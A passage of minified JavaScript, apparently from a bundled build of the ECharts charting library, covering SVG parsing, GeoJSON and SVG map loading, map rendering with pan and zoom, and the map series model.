mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n.setStyle({image:e.getAttribute(`xlink:href`)||e.getAttribute(`href`),x:+e.getAttribute(`x`),y:+e.getAttribute(`y`),width:+e.getAttribute(`width`),height:+e.getAttribute(`height`)}),n.silent=!0,n},text:function(e,t){var n=e.getAttribute(`x`)||`0`,r=e.getAttribute(`y`)||`0`,i=e.getAttribute(`dx`)||`0`,a=e.getAttribute(`dy`)||`0`;this._textX=parseFloat(n)+parseFloat(i),this._textY=parseFloat(r)+parseFloat(a);var o=new Y;return mF(t,o),gF(e,o,this._defsUsePending,!1,!0),o},tspan:function(e,t){var n=e.getAttribute(`x`),r=e.getAttribute(`y`);n!=null&&(this._textX=parseFloat(n)),r!=null&&(this._textY=parseFloat(r));var i=e.getAttribute(`dx`)||`0`,a=e.getAttribute(`dy`)||`0`,o=new Y;return mF(t,o),gF(e,o,this._defsUsePending,!1,!0),this._textX+=parseFloat(i),this._textY+=parseFloat(a),o},path:function(e,t){var n=jf(e.getAttribute(`d`)||``);return mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n.silent=!0,n}}})(),e}(),dF={lineargradient:function(e){var t=new xp(parseInt(e.getAttribute(`x1`)||`0`,10),parseInt(e.getAttribute(`y1`)||`0`,10),parseInt(e.getAttribute(`x2`)||`10`,10),parseInt(e.getAttribute(`y2`)||`0`,10));return fF(e,t),pF(e,t),t},radialgradient:function(e){var t=new Sp(parseInt(e.getAttribute(`cx`)||`0`,10),parseInt(e.getAttribute(`cy`)||`0`,10),parseInt(e.getAttribute(`r`)||`0`,10));return fF(e,t),pF(e,t),t}};function fF(e,t){e.getAttribute(`gradientUnits`)===`userSpaceOnUse`&&(t.global=!0)}function pF(e,t){for(var n=e.firstChild;n;){if(n.nodeType===1&&n.nodeName.toLocaleLowerCase()===`stop`){var r=n.getAttribute(`offset`),i=void 0;i=r&&r.indexOf(`%`)>0?parseInt(r,10)/100:r?parseFloat(r):0;var a={};DF(n,a,a);var o=a.stopColor||n.getAttribute(`stop-color`)||`#000000`,s=a.stopOpacity||n.getAttribute(`stop-opacity`);if(s){var c=ki(o);c&&c[3]&&(c[3]*=xi(s),o=Li(c,`rgba`))}t.colorStops.push({offset:i,color:o})}n=n.nextSibling}}function mF(e,t){e&&e.__inheritedStyle&&(t.__inheritedStyle||={},I(t.__inheritedStyle,e.__inheritedStyle))}function hF(e){for(var t=SF(e),n=[],r=0;r<t.length;r+=2){var i=parseFloat(t[r]),a=parseFloat(t[r+1]);n.push([i,a])}return n}function gF(e,t,n,r,i){var a=t,o=a.__inheritedStyle=a.__inheritedStyle||{},s={};e.nodeType===1&&(TF(e,t),DF(e,o,s),r||OF(e,o,s)),a.style=a.style||{},o.fill!=null&&(a.style.fill=yF(a,`fill`,o.fill,n)),o.stroke!=null&&(a.style.stroke=yF(a,`stroke`,o.stroke,n)),L([`lineWidth`,`opacity`,`fillOpacity`,`strokeOpacity`,`miterLimit`,`fontSize`],function(e){o[e]!=null&&(a.style[e]=parseFloat(o[e]))}),L([`lineDashOffset`,`lineCap`,`lineJoin`,`fontWeight`,`fontFamily`,`fontStyle`,`textAlign`],function(e){o[e]!=null&&(a.style[e]=o[e])}),i&&(a.__selfStyle=s),o.lineDash&&(a.style.lineDash=R(SF(o.lineDash),function(e){return parseFloat(e)})),(o.visibility===`hidden`||o.visibility===`collapse`)&&(a.invisible=!0),o.display===`none`&&(a.ignore=!0)}function _F(e,t){var n=t.__selfStyle;if(n){var r=n.textBaseline,i=r;!r||r===`auto`||r===`baseline`?i=`alphabetic`:r===`before-edge`||r===`text-before-edge`?i=`top`:r===`after-edge`||r===`text-after-edge`?i=`bottom`:(r===`central`||r===`mathematical`)&&(i=`middle`),e.style.textBaseline=i}var a=t.__inheritedStyle;if(a){var o=a.textAlign,s=o;o&&(o===`middle`&&(s=`center`),e.style.textAlign=s)}}var vF=/^url\(\s*#(.*?)\)/;function yF(e,t,n,r){var i=n&&n.match(vF);if(i){var a=Ot(i[1]);r.push([e,t,a]);return}return n===`none`&&(n=null),n}function bF(e,t){for(var n=0;n<t.length;n++){var r=t[n];r[0].style[r[1]]=e[r[2]]}}var xF=/-?([0-9]*\.)?[0-9]+([eE]-?[0-9]+)?/g;function SF(e){return e.match(xF)||[]}var CF=/(translate|scale|rotate|skewX|skewY|matrix)\(([\-\s0-9\.eE,]*)\)/g,wF=Math.PI/180;function TF(e,t){var n=e.getAttribute(`transform`);if(n){n=n.replace(/,/g,` `);var r=[],i=null;n.replace(CF,function(e,t,n){return r.push(t,n),``});for(var a=r.length-1;a>0;a-=2){var o=r[a],s=r[a-1],c=SF(o);switch(i||=Bn(),s){case`translate`:Wn(i,i,[parseFloat(c[0]),parseFloat(c[1]||`0`)]);break;case`scale`:Kn(i,i,[parseFloat(c[0]),parseFloat(c[1]||c[0])]);break;case`rotate`:Gn(i,i,-parseFloat(c[0])*wF,[parseFloat(c[1]||`0`),parseFloat(c[2]||`0`)]);break;case`skewX`:var l=Math.tan(parseFloat(c[0])*wF);Un(i,[1,0,l,1,0,0],i);break;case`skewY`:var u=Math.tan(parseFloat(c[0])*wF);Un(i,[1,u,0,1,0,0],i);break;case`matrix`:i[0]=parseFloat(c[0]),i[1]=parseFloat(c[1]),i[2]=parseFloat(c[2]),i[3]=parseFloat(c[3]),i[4]=parseFloat(c[4]),i[5]=parseFloat(c[5]);break}}t.setLocalTransform(i)}}var EF=/([^\s:;]+)\s*:\s*([^:;]+)/g;function DF(e,t,n){var r=e.getAttribute(`style`);if(r){EF.lastIndex=0;for(var i;(i=EF.exec(r))!=null;){var a=i[1],o=K(oF,a)?oF[a]:null;o&&(t[o]=i[2]);var s=K(cF,a)?cF[a]:null;s&&(n[s]=i[2])}}}function OF(e,t,n){for(var r=0;r<sF.length;r++){var i=sF[r],a=e.getAttribute(i);a!=null&&(t[oF[i]]=a)}for(var r=0;r<lF.length;r++){var i=lF[r],a=e.getAttribute(i);a!=null&&(n[cF[i]]=a)}}function kF(e,t){var n=t.width/e.width,r=t.height/e.height,i=Math.min(n,r);return{scale:i,x:-(e.x+e.width/2)*i+(t.x+t.width/2),y:-(e.y+e.height/2)*i+(t.y+t.height/2)}}function AF(e,t){return new uF().parse(e,t)}var jF=G([`rect`,`circle`,`line`,`ellipse`,`polygon`,`polyline`,`path`,`text`,`tspan`,`g`]),MF=function(){function e(e,t){this.type=`geoSVG`,this._usedGraphicMap=G(),this._freedGraphics=[],this._mapName=e,this._parsedXML=iF(t)}return e.prototype.load=function(){var e=this._firstGraphic;if(!e){e=this._firstGraphic=this._buildGraphic(this._parsedXML),this._freedGraphics.push(e),this._boundingRect=this._firstGraphic.boundingRect.clone();var t=PF(e.named),n=t.regions,r=t.regionsMap;this._regions=n,this._regionsMap=r}return{boundingRect:this._boundingRect,regions:this._regions,regionsMap:this._regionsMap}},e.prototype._buildGraphic=function(e){var t,n;try{t=e&&AF(e,{ignoreViewBox:!0,ignoreRootClip:!0})||{},n=t.root,Dt(n!=null)}catch(e){throw Error(`Invalid svg format
+`+e.message)}var r=new Y;r.add(n),r.isGeoSVGGraphicRoot=!0;var i=t.width,a=t.height,o=t.viewBoxRect,s=this._boundingRect;if(!s){var c=void 0,l=void 0,u=void 0,d=void 0;if(i==null?o&&(c=o.x,u=o.width):(c=0,u=i),a==null?o&&(l=o.y,d=o.height):(l=0,d=a),c==null||l==null){var f=n.getBoundingRect();c??(c=f.x,u=f.width),l??(l=f.y,d=f.height)}s=this._boundingRect=new J(c,l,u,d)}if(o){var p=kF(o,s);n.scaleX=n.scaleY=p.scale,n.x=p.x,n.y=p.y}r.setClipPath(new Lu({shape:s.plain()}));var m=[];return L(t.named,function(e){jF.get(e.svgNodeTagLower)!=null&&(m.push(e),NF(e.el))}),{root:r,boundingRect:s,named:m}},e.prototype.useGraphic=function(e){var t=this._usedGraphicMap,n=t.get(e);return n||(n=this._freedGraphics.pop()||this._buildGraphic(this._parsedXML),t.set(e,n),n)},e.prototype.freeGraphic=function(e){var t=this._usedGraphicMap,n=t.get(e);n&&(t.removeKey(e),this._freedGraphics.push(n))},e}();function NF(e){e.silent=!1,e.isGroup&&e.traverse(function(e){e.silent=!1})}function PF(e){var t=[],n=G();return L(e,function(e){if(e.namedFrom==null){var r=new qE(e.name,e.el);t.push(r),n.set(e.name,r)}}),{regions:t,regionsMap:n}}for(var FF=[126,25],IF=`南海诸岛`,LF=[[[0,3.5],[7,11.2],[15,11.9],[30,7],[42,.7],[52,.7],[56,7.7],[59,.7],[64,.7],[64,0],[5,0],[0,3.5]],[[13,16.1],[19,14.7],[16,21.7],[11,23.1],[13,16.1]],[[12,32.2],[14,38.5],[15,38.5],[13,32.2],[12,32.2]],[[16,47.6],[12,53.2],[13,53.2],[18,47.6],[16,47.6]],[[6,64.4],[8,70],[9,70],[8,64.4],[6,64.4]],[[23,82.6],[29,79.8],[30,79.8],[25,82.6],[23,82.6]],[[37,70.7],[43,62.3],[44,62.3],[39,70.7],[37,70.7]],[[48,51.1],[51,45.5],[53,45.5],[50,51.1],[48,51.1]],[[51,35],[51,28.7],[53,28.7],[53,35],[51,35]],[[52,22.4],[55,17.5],[56,17.5],[53,22.4],[52,22.4]],[[58,12.6],[62,7],[63,7],[60,12.6],[58,12.6]],[[0,3.5],[0,93.1],[64,93.1],[64,0],[63,0],[63,92.4],[1,92.4],[1,3.5],[0,3.5]]],RF=0;RF<LF.length;RF++)for(var zF=0;zF<LF[RF].length;zF++)LF[RF][zF][0]/=10.5,LF[RF][zF][1]/=-10.5/.75,LF[RF][zF][0]+=FF[0],LF[RF][zF][1]+=FF[1];function BF(e,t){if(e===`china`){for(var n=0;n<t.length;n++)if(t[n].name===IF)return;t.push(new KE(IF,R(LF,function(e){return{type:`polygon`,exterior:e}}),FF))}}var VF={南海诸岛:[32,80],广东:[0,-10],香港:[10,5],澳门:[-10,10],天津:[5,5]};function HF(e,t){if(e===`china`){var n=VF[t.name];if(n){var r=t.getCenter();r[0]+=n[0]/10.5,r[1]+=-n[1]/(10.5/.75),t.setCenter(r)}}}var UF=[[[123.45165252685547,25.73527164402261],[123.49731445312499,25.73527164402261],[123.49731445312499,25.750734064600884],[123.45165252685547,25.750734064600884],[123.45165252685547,25.73527164402261]]];function WF(e,t){e===`china`&&t.name===`台湾`&&t.geometries.push({type:`polygon`,exterior:UF[0]})}var GF=`name`,KF=function(){function e(e,t,n){this.type=`geoJSON`,this._parsedMap=G(),this._mapName=e,this._specialAreas=n,this._geoJSON=JF(t)}return e.prototype.load=function(e,t){t||=GF;var n=this._parsedMap.get(t);if(!n){var r=this._parseToRegions(t);n=this._parsedMap.set(t,{regions:r,boundingRect:qF(r)})}var i=G(),a=[];return L(n.regions,function(t){var n=t.name;e&&K(e,n)&&(t=t.cloneShallow(n=e[n])),a.push(t),i.set(n,t)}),{regions:a,boundingRect:n.boundingRect||new J(0,0,0,0),regionsMap:i}},e.prototype._parseToRegions=function(e){var t=this._mapName,n=this._geoJSON,r;try{r=n?ZE(n,e):[]}catch(e){throw Error(`Invalid geoJson format
+`+e.message)}return BF(t,r),L(r,function(e){var n=e.name;HF(t,e),WF(t,e);var r=this._specialAreas&&this._specialAreas[n];r&&e.transformTo(r.left,r.top,r.width,r.height)},this),r},e.prototype.getMapForUser=function(){return{geoJson:this._geoJSON,geoJSON:this._geoJSON,specialAreas:this._specialAreas}},e}();function qF(e){for(var t,n=0;n<e.length;n++){var r=e[n].getBoundingRect();t||=r.clone(),t.union(r)}return t}function JF(e){return H(e)?typeof JSON<`u`&&JSON.parse?JSON.parse(e):Function(`return (`+e+`);`)():e}var YF=G(),XF={registerMap:function(e,t,n){if(t.svg){var r=new MF(e,t.svg);YF.set(e,r)}else{var i=t.geoJson||t.geoJSON;i&&!t.features?n=t.specialAreas:i=t;var r=new KF(e,i,n);YF.set(e,r)}},getGeoResource:function(e){return YF.get(e)},getMapForUser:function(e){var t=YF.get(e);return t&&t.type===`geoJSON`&&t.getMapForUser()},load:function(e,t,n){var r=YF.get(e);if(r)return r.load(t,n)}},ZF=[`rect`,`circle`,`line`,`ellipse`,`polygon`,`polyline`,`path`],QF=G(ZF),$F=G(ZF.concat([`g`])),eI=G(ZF.concat([`g`])),tI=oc();function nI(e){var t=e.getItemStyle(),n=e.get(`areaColor`);return n!=null&&(t.fill=n),t}function rI(e){var t=e.style;t&&(t.stroke=t.stroke||t.fill,t.fill=null)}var iI=function(){function e(e){var t=this.group=new Y,n=this._transformGroup=new Y;t.add(n),this.uid=dh(`ec_map_draw`),this._controller=new VP(e.getZr()),this._controllerHost={target:n},n.add(this._regionsGroup=new Y),n.add(this._svgGroup=new Y)}return e.prototype.draw=function(e,t,n,r,i){var a=e.mainType===`geo`,o=e.getData&&e.getData();a&&t.eachComponent({mainType:`series`,subType:`map`},function(t){!o&&t.getHostGeoModel()===e&&(o=t.getData())});var s=e.coordinateSystem,c=this._regionsGroup,l=this._transformGroup,u=s.getTransformInfo(),d=u.raw,f=u.roam,p=!c.childAt(0)||i,m=e.getShallow(`clip`,!0),h;m?(h=s.getViewRect().clone(),this.group.setClipPath(new Lu({shape:h.clone()}))):this.group.removeClipPath(),p?(l.x=f.x,l.y=f.y,l.scaleX=f.scaleX,l.scaleY=f.scaleY,l.dirty()):Lp(l,f,e);var g=o&&o.getVisual(`visualMeta`)&&o.getVisual(`visualMeta`).length>0,_={api:n,geo:s,mapOrGeoModel:e,data:o,isVisualEncodedByVisualMap:g,isGeo:a,transformInfoRaw:d};s.resourceType===`geoJSON`?this._buildGeoJSON(_):s.resourceType===`geoSVG`&&this._buildSVG(_),this._updateController(e,h,t,n),this._updateMapSelectHandler(e,c,n,r)},e.prototype._buildGeoJSON=function(e){var t=this._regionsGroupByName=G(),n=G(),r=this._regionsGroup,i=e.transformInfoRaw,a=e.mapOrGeoModel,o=e.data,s=e.geo.projection,c=s&&s.stream;function l(e,t){return t&&(e=t(e)),e&&[e[0]*i.scaleX+i.x,e[1]*i.scaleY+i.y]}function u(e){for(var t=[],n=!c&&s&&s.project,r=0;r<e.length;++r){var i=l(e[r],n);i&&t.push(i)}return t}function d(e){return{shape:{points:u(e)}}}r.removeAll(),L(e.geo.regions,function(i){var u=i.name,f=t.get(u),p=n.get(u)||{},m=p.dataIdx,h=p.regionModel;if(!f){f=t.set(u,new Y),r.add(f),m=o?o.indexOfName(u):null,h=e.isGeo?a.getRegionModel(u):o?o.getItemModel(m):null;var g=h.get(`silent`,!0);g!=null&&(f.silent=g),n.set(u,{dataIdx:m,regionModel:h})}var _=[],v=[];L(i.geometries,function(e){if(e.type===`polygon`){var t=[e.exterior].concat(e.interiors||[]);c&&(t=uI(t,c)),L(t,function(e){_.push(new sp(d(e)))})}else{var n=e.points;c&&(n=uI(n,c,!0)),L(n,function(e){v.push(new lp(d(e)))})}});var y=l(i.getCenter(),s&&s.project);function b(t,n){if(t.length){var r=new yp({culling:!0,segmentIgnoreThreshold:1,shape:{paths:t}});f.add(r),aI(e,r,m,h),oI(e,r,u,h,a,m,y),n&&(rI(r),L(r.states,rI))}}b(_),b(v,!0)}),t.each(function(t,r){var i=n.get(r),o=i.dataIdx,s=i.regionModel;sI(e,t,r,s,a,o),cI(e,t,r,s,a),lI(e,t,r,s,a)},this)},e.prototype._buildSVG=function(e){var t=e.geo.map,n=e.transformInfoRaw;this._svgGroup.x=n.x,this._svgGroup.y=n.y,this._svgGroup.scaleX=n.scaleX,this._svgGroup.scaleY=n.scaleY,this._svgResourceChanged(t)&&(this._freeSVG(),this._useSVG(t));var r=this._svgDispatcherMap=G(),i=!1;L(this._svgGraphicRecord.named,function(t){var n=t.name,a=e.mapOrGeoModel,o=e.data,s=t.svgNodeTagLower,c=t.el,l=o?o.indexOfName(n):null,u=a.getRegionModel(n);QF.get(s)!=null&&c instanceof hl&&aI(e,c,l,u),c instanceof hl&&(c.culling=!0);var d=u.get(`silent`,!0);d!=null&&(c.silent=d),c.z2EmphasisLift=0,t.namedFrom||(eI.get(s)!=null&&oI(e,c,n,u,a,l,null),sI(e,c,n,u,a,l),cI(e,c,n,u,a),$F.get(s)!=null&&(lI(e,c,n,u,a)===`self`&&(i=!0),(r.get(n)||r.set(n,[])).push(c)))},this),this._enableBlurEntireSVG(i,e)},e.prototype._enableBlurEntireSVG=function(e,t){if(e&&t.isGeo){var n=t.mapOrGeoModel.getModel([`blur`,`itemStyle`]).getItemStyle().opacity;this._svgGraphicRecord.root.traverse(function(e){if(!e.isGroup){jd(e);var t=e.ensureState(`blur`).style||{};t.opacity==null&&n!=null&&(t.opacity=n),e.ensureState(`emphasis`)}})}},e.prototype.remove=function(){this._regionsGroup.removeAll(),this._regionsGroupByName=null,this._svgGroup.removeAll(),this._freeSVG(),this._controller.dispose(),this._controllerHost=null},e.prototype.findHighDownDispatchers=function(e,t){if(e==null)return[];var n=t.coordinateSystem;if(n.resourceType===`geoJSON`){var r=this._regionsGroupByName;if(r){var i=r.get(e);return i?[i]:[]}}else if(n.resourceType===`geoSVG`)return this._svgDispatcherMap&&this._svgDispatcherMap.get(e)||[]},e.prototype._svgResourceChanged=function(e){return this._svgMapName!==e},e.prototype._useSVG=function(e){var t=XF.getGeoResource(e);if(t&&t.type===`geoSVG`){var n=t.useGraphic(this.uid);this._svgGroup.add(n.root),this._svgGraphicRecord=n,this._svgMapName=e}},e.prototype._freeSVG=function(){var e=this._svgMapName;if(e!=null){var t=XF.getGeoResource(e);t&&t.type===`geoSVG`&&t.freeGraphic(this.uid),this._svgGraphicRecord=null,this._svgDispatcherMap=null,this._svgGroup.removeAll(),this._svgMapName=null}},e.prototype._updateController=function(e,t,n,r){var i=e.coordinateSystem,a=this._controller,o=this._controllerHost;o.zoomLimit=e.get(`scaleLimit`),o.zoom=i.getZoom(),a.enable(e.get(`roam`)||!1,{api:r,zInfo:{component:e},triggerInfo:{roamTrigger:e.get(`roamTrigger`),isInSelf:function(e,t,n){return i.containPoint([t,n])},isInClip:function(e,n,r){return!t||t.contain(n,r)}}});var s=e.mainType;function c(){var t={type:`geoRoam`,componentType:s};return t[s+`Id`]=e.id,t}a.off(`pan`).on(`pan`,function(e){this._mouseDownFlag=!1,ZP(o,e.dx,e.dy),r.dispatchAction(F(c(),{dx:e.dx,dy:e.dy,animation:{duration:0}}))},this),a.off(`zoom`).on(`zoom`,function(e){this._mouseDownFlag=!1,QP(o,e.scale,e.originX,e.originY),r.dispatchAction(F(c(),{totalZoom:o.zoom,zoom:e.scale,originX:e.originX,originY:e.originY,animation:{duration:0}}))},this)},e.prototype.resetForLabelLayout=function(){this.group.traverse(function(e){var t=e.getTextContent();t&&(t.ignore=tI(t).ignore)})},e.prototype._updateMapSelectHandler=function(e,t,n,r){var i=this;t.off(`mousedown`),t.off(`click`),e.get(`selectedMode`)&&(t.on(`mousedown`,function(){i._mouseDownFlag=!0}),t.on(`click`,function(e){i._mouseDownFlag&&=!1}))},e}();function aI(e,t,n,r){var i=r.getModel(`itemStyle`),a=r.getModel([`emphasis`,`itemStyle`]),o=r.getModel([`blur`,`itemStyle`]),s=r.getModel([`select`,`itemStyle`]),c=nI(i),l=nI(a),u=nI(s),d=nI(o),f=e.data;if(f){var p=f.getItemVisual(n,`style`),m=f.getItemVisual(n,`decal`);e.isVisualEncodedByVisualMap&&p.fill&&(c.fill=p.fill),m&&(c.decal=kS(m,e.api))}t.setStyle(c),t.style.strokeNoScale=!0,t.ensureState(`emphasis`).style=l,t.ensureState(`select`).style=u,t.ensureState(`blur`).style=d,jd(t)}function oI(e,t,n,r,i,a,o){var s=e.data,c=e.isGeo,l=s&&isNaN(s.get(s.mapDimension(`value`),a)),u=s&&s.getItemLayout(a);if(c||l||u&&u.showLabel){var d=c?n:a,f=void 0;(!s||a>=0)&&(f=i);var p=o?{normal:{align:`center`,verticalAlign:`middle`}}:null;Rm(t,zm(r),{labelFetcher:f,labelDataIndex:d,defaultText:n},p);var m=t.getTextContent();if(m&&(tI(m).ignore=m.ignore,t.textConfig&&o)){var h=t.getBoundingRect().clone();t.textConfig.layoutRect=h,t.textConfig.position=[(o[0]-h.x)/h.width*100+`%`,(o[1]-h.y)/h.height*100+`%`]}t.disableLabelAnimation=!0}else t.removeTextContent(),t.removeTextConfig(),t.disableLabelAnimation=null}function sI(e,t,n,r,i,a){e.data?e.data.setItemGraphicEl(a,t):Z(t).eventData={componentType:`geo`,componentIndex:i.componentIndex,geoIndex:i.componentIndex,name:n,region:r&&r.option||{}}}function cI(e,t,n,r,i){e.data||wm({el:t,componentModel:i,itemName:n,itemTooltipOption:r.get(`tooltip`)})}function lI(e,t,n,r,i){t.highDownSilentOnTouch=!!i.get(`selectedMode`);var a=r.getModel(`emphasis`),o=a.get(`focus`);return $d(t,o,a.get(`blurScope`),a.get(`disabled`)),e.isGeo&&sf(t,i,n),o}function uI(e,t,n){var r=[],i;function a(){i=[]}function o(){i.length&&(r.push(i),i=[])}var s=t({polygonStart:a,polygonEnd:o,lineStart:a,lineEnd:o,point:function(e,t){isFinite(e)&&isFinite(t)&&i.push([e,t])},sphere:function(){}});return!n&&s.polygonStart(),L(e,function(e){s.lineStart();for(var t=0;t<e.length;t++)s.point(e[t][0],e[t][1]);s.lineEnd()}),!n&&s.polygonEnd(),r}var dI=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n,r){if(!(r&&r.type===`mapToggleSelect`&&r.from===this.uid)){var i=this.group;if(i.removeAll(),!e.getHostGeoModel()){if(this._mapDraw&&r&&r.type===`geoRoam`&&this._mapDraw.resetForLabelLayout(),r&&r.type===`geoRoam`&&r.componentType===`series`&&r.seriesId===e.id){var a=this._mapDraw;a&&i.add(a.group)}else if(e.needsDrawMap){var a=this._mapDraw||new iI(n);i.add(a.group),a.draw(e,t,n,this,r),this._mapDraw=a}else this._mapDraw&&this._mapDraw.remove(),this._mapDraw=null;e.get(`showLegendSymbol`)&&t.getComponent(`legend`)&&this._renderSymbols(e,t,n)}}},t.prototype.remove=function(){this._mapDraw&&this._mapDraw.remove(),this._mapDraw=null,this.group.removeAll()},t.prototype.dispose=function(){this._mapDraw&&this._mapDraw.remove(),this._mapDraw=null},t.prototype._renderSymbols=function(e,t,n){var r=e.originalData,i=this.group;r.each(r.mapDimension(`value`),function(t,n){if(!isNaN(t)){var a=r.getItemLayout(n);if(!(!a||!a.point)){var o=a.point,s=a.offset,c=new If({style:{fill:e.getData().getVisual(`style`).fill},shape:{cx:o[0]+s*9,cy:o[1],r:3},silent:!0,z2:8+(s?0:11)});if(!s){var l=e.mainSeries.getData(),u=r.getName(n),d=l.indexOfName(u),f=r.getItemModel(n),p=f.getModel(`label`),m=l.getItemGraphicEl(d);Rm(c,zm(f),{labelFetcher:{getFormattedLabel:function(t,n){return e.getFormattedLabel(d,n)}},defaultText:u}),c.disableLabelAnimation=!0,p.get(`position`)||c.setTextConfig({position:`bottom`}),m.onHoverStateChange=function(e){Td(c,e)}}i.add(c)}}})},t.type=`map`,t}(Ab),fI=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.needsDrawMap=!1,n.seriesGroup=[],n.getTooltipPosition=function(e){if(e!=null){var t=this.getData().getName(e),n=this.coordinateSystem,r=n.getRegion(t);return r&&n.dataToPoint(r.getCenter())}},n}return t.prototype.getInitialData=function(e){for(var t=nM(this,{coordDimensions:[`value`],encodeDefaulter:pt(S_,this)}),n=G(),r=[],i=0,a=t.count();i<a;i++){var o=t.getName(i);n.set(o,i)}return L(XF.load(this.getMapType(),this.option.nameMap,this.option.nameProperty).regions,function(e){var i=e.name,a=n.get(i),o=e.properties&&e.properties.echartsStyle,s;a==null?(s={name:i},r.push(s)):s=t.getRawDataItem(a),o&&nt(s,o)}),t.appendData(r),t},t.prototype.getHostGeoModel=function(){if(Mg(this).kind!==jg.boxCoordSys)return this.getReferringComponents(`geo`,{useDefault:!1,enableAll:!1,enableNone:!1}).models[0]},t.prototype.getMapType=function(){return(this.getHostGeoModel()||this).option.map},t.prototype.getRawValue=function(e){var t=this.getData();return t.get(t.mapDimension(`value`),e)},t.prototype.getRegionModel=function(e){var t=this.getData();return t.getItemModel(t.indexOfName(e))},t.prototype.formatTooltip=function(e,t,n){for(var r=this.getData(),i=this.getRawValue(e),a=r.getName(e),o=this.seriesGroup,s=[],c=0;c<o.length;c++){var l=o[c].originalData.indexOfName(a),u=r.mapDimension(`value`);isNaN(o[c].originalData.get(u,l))||s.push(o[c].name)}return Xy(`section`,{header:s.join(`, `),noHeader:!s.length,blocks:[Xy(`nameValue`,{name:a,value:i})]})},t.prototype.setZoom=function(e){this.option.zoom=e},t.prototype.setCenter=function(e){this.option.center=e},t.prototype.getLegendIcon=function(e){var t=e.icon||`roundRect`,n=Bx(t,0,0,e.itemWidth,e.itemHeight,e.itemStyle.fill);return n.setStyle(e.itemStyle),n.style.stroke=`none`,t.indexOf(`empty`)>-1&&(n.style.stroke=n.style.fill,n.style.fill=Q.color.neutral00,n.style.lineWidth=2),n},t.type=`series.map`,t.dependencies=[`geo`],t.layoutMode=`box`,t.defaultOption={z:2,coordinateSystem:`geo`,map:``,left:`center`,top:`center`,aspectScale:null,showLegendSymbol:!0,boundingCoords:null,center:null,zoom:1,scaleLimit:null,selectedMode:!0,label:{show:!1,color:Q.color.tertiary},itemStyle:{borderWidth:.5,borderColor:Q.color.border,areaColor:Q.color.background},emphasis:{label:{show:!0,color:Q.color.primary},itemStyle:{areaColor:Q.color.highlight}},select:{label:{show:!0,color:Q.color.primary},itemStyle:{color:Q.color.highlight}},nameProperty:`name`},t}(_b);function pI(e,t){var n={};return L(e,function(e){e.each(e.mapDimension(`value`),function(t,r){var i=`ec-`+e.getName(r);n[i]=n[i]||[],isNaN(t)||n[i].push(t)})}),e[0].map(e[0].mapDimension(`value`),function(r,i){for(var a=`ec-`+e[0].getName(i),o=0,s=1/0,c=-1/0,l=n[a].length,u=0;u<l;u++)s=Math.min(s,n[a][u]),c=Math.max(c,n[a][u]),o+=n[a][u];var d=t===`min`?s:t===`max`?c:t===`average`?o/l:o;return l===0?NaN:d})}function mI(e){var t={};e.eachSeriesByType(`map`,function(e){var n=e.getHostGeoModel(),r=n?`o`+n.id:`i`+e.getMapType();(t[r]=t[r]||[]).push(e)}),L(t,function(e,t){for(var n=pI(R(e,function(e){return e.getData()}),e[0].get(`mapValueCalculation`)),r=0;r<e.length;r++)e[r].originalData=e[r].getData();for(var r=0;r<e.length;r++)e[r].seriesGroup=e,e[r].needsDrawMap=r===0&&!e[r].getHostGeoModel(),e[r].setData(n.cloneShallow()),e[r].mainSeries=e[0]})}function hI(e){var t={};e.eachSeriesByType(`map`,function(n){var r=n.getMapType();if(!(n.getHostGeoModel()||t[r])){var i={};L(n.seriesGroup,function(t){var n=t.coordinateSystem,r=t.originalData;t.get(`showLegendSymbol`)&&e.getComponent(`legend`)&&r.each(r.mapDimension(`value`),function(e,t){var a=r.getName(t),o=n.getRegion(a);if(!(!o||isNaN(e))){var s=i[a]||0,c=n.dataToPoint(o.getCenter());i[a]=s+1,r.setItemLayout(t,{point:c,offset:s})}})});var a=n.getData();a.each(function(e){var t=a.getName(e),n=a.getItemLayout(e)||{};n.showLabel=!i[t],a.setItemLayout(e,n)}),t[r]=!0}})}var gI=rn,_I=function(e){N(t,e);function t(t,n){var r=e.call(this)||this;return r.type=`view`,r.dimensions=[`x`,`y`],r._roamTransformable=new fo,r._rawTransformable=new fo,r.name=t,r._opt=n,r}return t.prototype.setBoundingRect=function(e,t,n,r){return this._rect=new J(e,t,n,r),this._updateCenterAndZoom(),this._rect},t.prototype.getBoundingRect=function(){return this._rect},t.prototype.setViewRect=function(e,t,n,r){this._transformTo(e,t,n,r),this._viewRect=new J(e,t,n,r)},t.prototype._transformTo=function(e,t,n,r){var i=this.getBoundingRect(),a=this._rawTransformable;a.transform=i.calculateTransform(new J(e,t,n,r));var o=a.parent;a.parent=null,a.decomposeTransform(),a.parent=o,this._updateTransform()},t.prototype.setCenter=function(e){var t=this._opt;t&&t.api&&t.ecModel&&t.ecModel.getShallow(`legacyViewCoordSysCenterBase`)&&e&&(e=[X(e[0],t.api.getWidth()),X(e[1],t.api.getWidth())]),this._centerOption=P(e),this._updateCenterAndZoom()},t.prototype.setZoom=function(e){this._zoom=rF(e||1,this.zoomLimit),this._updateCenterAndZoom()},t.prototype.getDefaultCenter=function(){var e=this.getBoundingRect();return[e.x+e.width/2,e.y+e.height/2]},t.prototype.getCenter=function(){return this._center||this.getDefaultCenter()},t.prototype.getZoom=function(){return this._zoom||1},t.prototype.getRoamTransform=function(){return this._roamTransformable.getLocalTransform()},t.prototype._updateCenterAndZoom=function(){var e=this._centerOption,t=this._rect;e&&t&&(this._center=[X(e[0],t.width,t.x),X(e[1],t.height,t.y)]);var n=this._rawTransformable.getLocalTransform(),r=this._roamTransformable,i=this.getDefaultCenter(),a=this.getCenter(),o=this.getZoom();a=rn([],a,n),i=rn([],i,n),r.originX=a[0],r.originY=a[1],r.x=i[0]-a[0],r.y=i[1]-a[1],r.scaleX=r.scaleY=o,this._updateTransform()},t.prototype._updateTransform=function(){var e=this._roamTransformable,t=this._rawTransformable;t.parent=e,e.updateTransform(),t.updateTransform(),Hn(this.transform||=[],t.transform||Bn()),this._rawTransform=t.getLocalTransform(),this.invTransform=this.invTransform||[],qn(this.invTransform,this.transform),this.decomposeTransform()},t.prototype.getTransformInfo=function(){var e=this._rawTransformable,t=this._roamTransformable,n=new fo;return 